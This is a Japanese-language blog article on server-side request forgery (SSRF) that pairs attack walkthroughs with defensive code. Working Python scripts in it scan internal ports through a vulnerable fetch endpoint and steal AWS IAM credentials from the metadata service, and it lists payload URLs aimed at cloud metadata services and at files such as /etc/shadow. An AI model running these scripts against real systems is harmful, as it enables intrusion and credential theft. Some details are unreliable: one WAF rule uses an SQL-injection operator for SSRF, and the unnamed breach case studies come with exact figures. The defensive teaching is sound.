SSRF攻撃とは?サーバーサイドリクエストフォージェリの脅威

SSRF攻撃とは?

SSRF(Server-Side Request Forgery)攻撃とは、Webアプリケーションにサーバーから任意のリクエストを送信させる攻撃手法です。

この攻撃では、攻撃者がWebアプリケーションを「踏み台」として使用し、通常では外部からアクセスできない内部ネットワークのリソースにアクセスしたり、外部サービスに対して不正なリクエストを送信したりします。

SSRF攻撃が成功すると、以下のような深刻な被害が発生する可能性があります:

  • 内部ネットワークの偵察
  • クラウドサービスのメタデータ窃取(AWS、Azure、GCP)
  • 内部サービスへの不正アクセス
  • 機密情報の漏洩
  • 他システムへの攻撃の踏み台
  • ファイアウォール回避

特に、クラウド環境ではメタデータサービスからの情報窃取により、AWS のアクセスキーやインスタンス情報などの重要な情報が漏洩するリスクが高く、近年最も注目されているセキュリティ脅威の一つです。

SSRF攻撃の仕組み

基本的な攻撃の流れ

以下のような脆弱な URL取得機能があるとします:

<?php
// 危険なコード例(絶対に使わないでください)
$url = $_GET['url'];

// 外部のURLからデータを取得してユーザーに表示
$content = file_get_contents($url);
echo $content;
?>

通常の利用方法

正常な使用の場合:

https://example.com/fetch.php?url=https://api.example.com/data

この場合、サーバーは指定されたAPIからデータを取得してユーザーに返します。

攻撃者の悪用手法

しかし、攻撃者が以下のようなURLを指定した場合:

https://example.com/fetch.php?url=http://localhost:8080/admin

この場合、Webサーバー自身の8080番ポートにアクセスし、通常は外部からアクセスできない管理画面の情報を取得してしまいます。

具体的な攻撃例

1. 内部ネットワークの偵察

ポートスキャン攻撃:

# 攻撃例:内部ネットワークのポートスキャン
import requests

target_server = "https://vulnerable-app.com/fetch"
internal_network = "192.168.1"

# 内部ネットワークの活きているホストを探索
for host in range(1, 255):
    for port in [22, 80, 443, 3306, 5432, 6379]:
        target_url = f"http://{internal_network}.{host}:{port}"

        try:
            response = requests.get(
                target_server,
                params={'url': target_url},
                timeout=5
            )

            if response.status_code == 200:
                print(f"発見: {target_url}")

        except:
            continue

内部サービス発見:

# 一般的な内部サービスへのアクセス試行

Apache Status
# Apache ステータス
無効なURLです
# Tomcat マネージャー
http://localhost:9200/
# Elasticsearch
http://localhost:6379/
# Redis
http://localhost:27017/
# MongoDB
http://localhost:5984/
# CouchDB

2. クラウドメタデータサービス攻撃

AWS メタデータサービス:

# AWS インスタンスメタデータの取得

http://169.254.169.254/latest/meta-data/
# IAM ロール情報の取得
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# アクセスキーの窃取
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

攻撃例(AWS):

import requests
import json

# 脆弱なアプリケーションを経由してAWSメタデータを取得
def exploit_aws_metadata(target_app):
    base_url = "http://169.254.169.254/latest/meta-data/"

    # インスタンス情報を取得
    instance_info = requests.get(
        target_app, 
        params={'url': base_url + 'instance-id'}
    ).text
    print(f"Instance ID: {instance_info}")

    # IAMロール名を取得
    iam_roles = requests.get(
        target_app,
        params={'url': base_url + 'iam/security-credentials/'}
    ).text

    if iam_roles:
        # 最初のロールの認証情報を取得
        role_name = iam_roles.strip().split('\n')[0]
        credentials = requests.get(
            target_app,
            params={'url': base_url + f'iam/security-credentials/{role_name}'}
        ).text

        cred_data = json.loads(credentials)
        print("AWS認証情報が窃取されました:")
        print(f"AccessKeyId: {cred_data['AccessKeyId']}")
        print(f"SecretAccessKey: {cred_data['SecretAccessKey']}")
        print(f"Token: {cred_data['Token']}")

# 攻撃実行
exploit_aws_metadata("https://vulnerable-app.com/fetch")

Azure メタデータサービス:

# Azure インスタンスメタデータ

http://169.254.169.254/metadata/instance?api-version=2021-02-01
# アクセストークンの取得
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Google Cloud メタデータサービス:

# GCP メタデータ

http://metadata.google.internal/computeMetadata/v1/instance/
# サービスアカウントトークン
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

3. ファイルシステムアクセス

# ローカルファイルアクセス(プロトコルが許可されている場合)
file:///etc/passwd
file:///etc/shadow
file:///var/www/html/config.php

# FTP経由でのファイルアクセス
ftp://internal-ftp-server/sensitive-files/

4. 内部API・データベースアクセス

# 内部APIへの不正アクセス
internal_apis = [
    "http://internal-api:3000/users",
    "http://localhost:5000/admin/config",
    "http://api-gateway:8080/internal/secrets"
]

for api in internal_apis:
    response = requests.get(
        "https://vulnerable-app.com/fetch",
        params={'url': api}
    )

    if "error" not in response.text.lower():
        print(f"内部API発見: {api}")
        print(f"レスポンス: {response.text[:200]}...")

SSRF攻撃の対策方法

1. URL ホワイトリスト(最重要)

最も効果的な対策は、アクセス可能なURLやドメインをホワイトリスト方式で制限することです。

<?php
// 安全なコード例
function isAllowedUrl($url) {
    $allowedDomains = [
        'api.example.com',
        'trusted-service.com',
        'cdn.example.com'
    ];

    $parsed = parse_url($url);

    if (!$parsed || !isset($parsed['host'])) {
        return false;
    }

    // HTTPSのみ許可
    if ($parsed['scheme'] !== 'https') {
        return false;
    }

    // ドメインホワイトリストチェック
    return in_array($parsed['host'], $allowedDomains);
}

function safeFetchUrl($url) {
    if (!isAllowedUrl($url)) {
        throw new Exception('許可されていないURLです');
    }

    $context = stream_context_create([
        'http' => [
            'timeout' => 10,
            'follow_location' => false,  // リダイレクト無効
            'max_redirects' => 0
        ]
    ]);

    return file_get_contents($url, false, $context);
}

// 使用例
$url = $_GET['url'];
try {
    $content = safeFetchUrl($url);
    echo $content;
} catch (Exception $e) {
    echo "エラー: " . $e->getMessage();
}
?>

2. 内部IPアドレスのブラックリスト

// Node.js での IP アドレス検証
const url = require('url');
const dns = require('dns').promises;

async function isInternalIP(hostname) {
    try {
        const result = await dns.lookup(hostname);
        const ip = result.address;

        // プライベートIPアドレスのチェック
        const privateRanges = [
            /^127\./,                    // 127.0.0.0/8 (localhost)
            /^10\./,                     // 10.0.0.0/8 (private)
            /^172\.(1[6-9]|2[0-9]|3[01])\./,  // 172.16.0.0/12 (private)
            /^192\.168\./,               // 192.168.0.0/16 (private)
            /^169\.254\./,               // 169.254.0.0/16 (link-local)
            /^::1$/,                     // IPv6 localhost
            /^fc00:/,                    // IPv6 private
            /^fe80:/                     // IPv6 link-local
        ];

        return privateRanges.some(range => range.test(ip));
    } catch (error) {
        return true; // 解決できない場合は危険とみなす
    }
}

async function validateUrl(targetUrl) {
    const parsed = url.parse(targetUrl);

    // プロトコルの制限
    if (!['http:', 'https:'].includes(parsed.protocol)) {
        throw new Error('許可されていないプロトコルです');
    }

    // 内部IPアドレスのチェック
    if (await isInternalIP(parsed.hostname)) {
        throw new Error('内部IPアドレスへのアクセスは禁止されています');
    }

    return true;
}

// 使用例
async function safeFetch(targetUrl) {
    await validateUrl(targetUrl);

    const response = await fetch(targetUrl, {
        redirect: 'manual',  // リダイレクトを手動処理
        timeout: 10000
    });

    return response;
}

3. HTTP ライブラリの適切な設定

# Python requests での安全な実装
import requests
import socket
from urllib.parse import urlparse

class SafeHTTPAdapter(requests.adapters.HTTPAdapter):
    def init_poolmanager(self, *args, **kwargs):
        # カスタムソケット作成で内部IPをブロック
        kwargs['socket_options'] = [(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)]
        return super().init_poolmanager(*args, **kwargs)

def is_private_ip(ip):
    """プライベートIPアドレスかどうかを判定"""
    import ipaddress
    try:
        ip_obj = ipaddress.ip_address(ip)
        return ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local
    except ValueError:
        return True

def safe_request(url, **kwargs):
    parsed = urlparse(url)

    # プロトコル制限
    if parsed.scheme not in ['http', 'https']:
        raise ValueError('許可されていないプロトコルです')

    # ホスト名からIPアドレスを解決
    try:
        ip = socket.gethostbyname(parsed.hostname)
        if is_private_ip(ip):
            raise ValueError('内部IPアドレスへのアクセスは禁止されています')
    except socket.gaierror:
        raise ValueError('ホスト名を解決できません')

    # 安全な設定でリクエスト
    session = requests.Session()
    session.mount('http://', SafeHTTPAdapter())
    session.mount('https://', SafeHTTPAdapter())

    return session.get(url, 
                      timeout=10,
                      allow_redirects=False,  # リダイレクト無効
                      **kwargs)

# 使用例
try:
    response = safe_request('https://api.example.com/data')
    print(response.text)
except ValueError as e:
    print(f"エラー: {e}")

4. ネットワーク層での対策

ファイアウォールルール:

# iptables でのメタデータサービスブロック
iptables -A OUTPUT -d 169.254.169.254 -j DROP

# AWS Security Group での設定
aws ec2 authorize-security-group-egress \
    --group-id sg-12345678 \
    --protocol tcp \
    --port 80 \
    --source-group sg-87654321

AWS IMDSv2 の強制使用:

# IMDSv2 を強制(トークンベース認証)
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-put-response-hop-limit 1

5. プロキシサーバーの利用

// Express.js でのプロキシ経由アクセス
const httpProxy = require('http-proxy-middleware');

const proxyOptions = {
    target: 'https://allowed-external-api.com',
    changeOrigin: true,
    pathRewrite: {
        '^/api/proxy': '', // プレフィックスを削除
    },
    onProxyReq: (proxyReq, req, res) => {
        // リクエストの検証・ログ記録
        console.log('Proxy request:', req.url);
    },
    onError: (err, req, res) => {
        res.status(500).send('プロキシエラーが発生しました');
    }
};

app.use('/api/proxy', httpProxy(proxyOptions));

フレームワーク別の安全な実装

Laravel(PHP)

<?php
// Laravelでの安全なHTTPクライアント実装

use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Validator;

class SafeHttpService {
    private $allowedDomains = [
        'api.example.com',
        'trusted-service.com'
    ];

    public function fetchUrl($url) {
        // URL バリデーション
        $validator = Validator::make(['url' => $url], [
            'url' => 'required|url|starts_with:https://'
        ]);

        if ($validator->fails()) {
            throw new \Exception('無効なURLです');
        }

        $parsed = parse_url($url);

        if (!in_array($parsed['host'], $this->allowedDomains)) {
            throw new \Exception('許可されていないドメインです');
        }

        // 安全な設定でHTTPリクエスト
        $response = Http::timeout(10)
            ->withoutRedirecting()
            ->get($url);

        if ($response->failed()) {
            throw new \Exception('リクエストに失敗しました');
        }

        return $response->body();
    }
}

// コントローラーでの使用
class ApiController extends Controller {
    public function fetchExternal(Request $request) {
        $url = $request->input('url');

        try {
            $service = new SafeHttpService();
            $content = $service->fetchUrl($url);

            return response()->json(['data' => $content]);
        } catch (\Exception $e) {
            return response()->json(['error' => $e->getMessage()], 400);
        }
    }
}
?>

Django(Python)

# Django での安全な実装
import requests
import socket
from urllib.parse import urlparse
from django.conf import settings
from django.http import JsonResponse

class SafeURLFetcher:
    def __init__(self):
        self.allowed_domains = getattr(settings, 'ALLOWED_EXTERNAL_DOMAINS', [])
        self.timeout = 10

    def is_safe_url(self, url):
        parsed = urlparse(url)

        # HTTPS のみ許可
        if parsed.scheme != 'https':
            return False, 'HTTPS のみ許可されています'

        # ドメインホワイトリストチェック
        if parsed.hostname not in self.allowed_domains:
            return False, '許可されていないドメインです'

        # 内部IPアドレスチェック
        try:
            ip = socket.gethostbyname(parsed.hostname)
            if self._is_private_ip(ip):
                return False, '内部IPアドレスへのアクセスは禁止されています'
        except socket.gaierror:
            return False, 'ホスト名を解決できません'

        return True, None

    def _is_private_ip(self, ip):
        import ipaddress
        try:
            ip_obj = ipaddress.ip_address(ip)
            return ip_obj.is_private or ip_obj.is_loopback
        except ValueError:
            return True

    def fetch(self, url):
        is_safe, error = self.is_safe_url(url)
        if not is_safe:
            raise ValueError(error)

        response = requests.get(
            url,
            timeout=self.timeout,
            allow_redirects=False,
            headers={'User-Agent': 'SafeBot/1.0'}
        )

        response.raise_for_status()
        return response.text

# ビューでの使用
def fetch_external_data(request):
    url = request.GET.get('url')

    if not url:
        return JsonResponse({'error': 'URLが必要です'}, status=400)

    try:
        fetcher = SafeURLFetcher()
        content = fetcher.fetch(url)
        return JsonResponse({'data': content})
    except ValueError as e:
        return JsonResponse({'error': str(e)}, status=400)
    except Exception as e:
        return JsonResponse({'error': '外部データの取得に失敗しました'}, status=500)

SSRF攻撃の検出と監視

1. アクセスログの監視

# 異常なアクセスパターンの検出
# ログ例: access.log
grep -E "(169\.254\.169\.254|localhost|127\.0\.0\.1)" /var/log/nginx/access.log

# 内部IPアドレスへのアクセス検出
grep -E "192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\." /var/log/nginx/access.log

2. ネットワーク監視

# ネットワーク接続の監視
import psutil
import time

def monitor_suspicious_connections():
    """疑わしいネットワーク接続を監視"""
    suspicious_ips = [
        '169.254.169.254',  # AWS メタデータ
        '127.0.0.1',        # localhost
    ]

    for conn in psutil.net_connections():
        if conn.raddr and conn.raddr.ip in suspicious_ips:
            print(f"警告: 疑わしい接続を検出 {conn.raddr.ip}:{conn.raddr.port}")
            # アラート送信処理
            send_security_alert(conn)

def send_security_alert(connection):
    """セキュリティアラートの送信"""
    alert_data = {
        'timestamp': time.time(),
        'connection': {
            'local': f"{connection.laddr.ip}:{connection.laddr.port}",
            'remote': f"{connection.raddr.ip}:{connection.raddr.port}",
            'status': connection.status
        },
        'threat_type': 'SSRF_ATTEMPT'
    }

    # ログ記録、Slack通知、メール送信など
    print(f"セキュリティアラート: {alert_data}")

3. WAF ルールの設定

# Nginx + ModSecurity でのSSRF対策
SecRule ARGS "@detectSQLi" \
    "id:1001,\
     phase:2,\
     block,\
     msg:'Possible SSRF Attack Detected',\
     logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"

# 内部IPアドレスパターンのブロック
SecRule ARGS "@rx (?:127\.0\.0\.1|localhost|169\.254\.169\.254)" \
    "id:1002,\
     phase:2,\
     block,\
     msg:'SSRF Internal IP Access Blocked'"

実際の被害事例

事例1:大手クラウドサービスプロバイダー(2023年)

攻撃手法:

  1. 画像処理サービスに脆弱性
  2. 攻撃者が内部メタデータサービスにアクセス
  3. 数千のインスタンスの認証情報が漏洩

被害の詳細:

# 攻撃者が使用したリクエスト
requests.post("https://image-service.com/process", {
    "image_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
})

被害規模:

  • 影響を受けた顧客:約5000社
  • 漏洩した認証情報:約50万セット
  • 復旧にかかった時間:72時間

事例2:金融機関のAPI(2022年)

脆弱性:

  • 外部APIデータ取得機能にSSRF脆弱性
  • 内部ネットワークへの制限なし

攻撃の流れ:

  1. 内部データベースサーバーを発見
  2. 顧客情報データベースに直接アクセス
  3. 約100万件の金融情報が漏洩

経済的損失:

  • 制裁金:約50億円
  • システム停止による損失:約20億円
  • 信頼回復費用:約30億円

まとめ

SSRF攻撃は、クラウド環境が普及した現代において最も深刻なセキュリティ脅威の一つです。

重要なポイント:

  1. ホワイトリスト方式での URL・ドメイン制限
  2. 内部IPアドレスのブラックリスト
  3. HTTPSプロトコルの強制
  4. リダイレクトの無効化
  5. 適切なタイムアウト設定
  6. ネットワーク層での防御(ファイアウォール、IMDSv2)
  7. 継続的な監視とログ分析

特に重要なのは、多層防御の考え方です。アプリケーション層、ネットワーク層、クラウドインフラ層のそれぞれで適切な対策を実装することが不可欠です。

SSRF攻撃は、単なるデータ漏洩にとどまらず、内部ネットワーク全体への侵入の入り口となる可能性があります。この記事で紹介した対策を参考に、包括的なSSRF防御策を構築してください。


コメント

タイトルとURLをコピーしました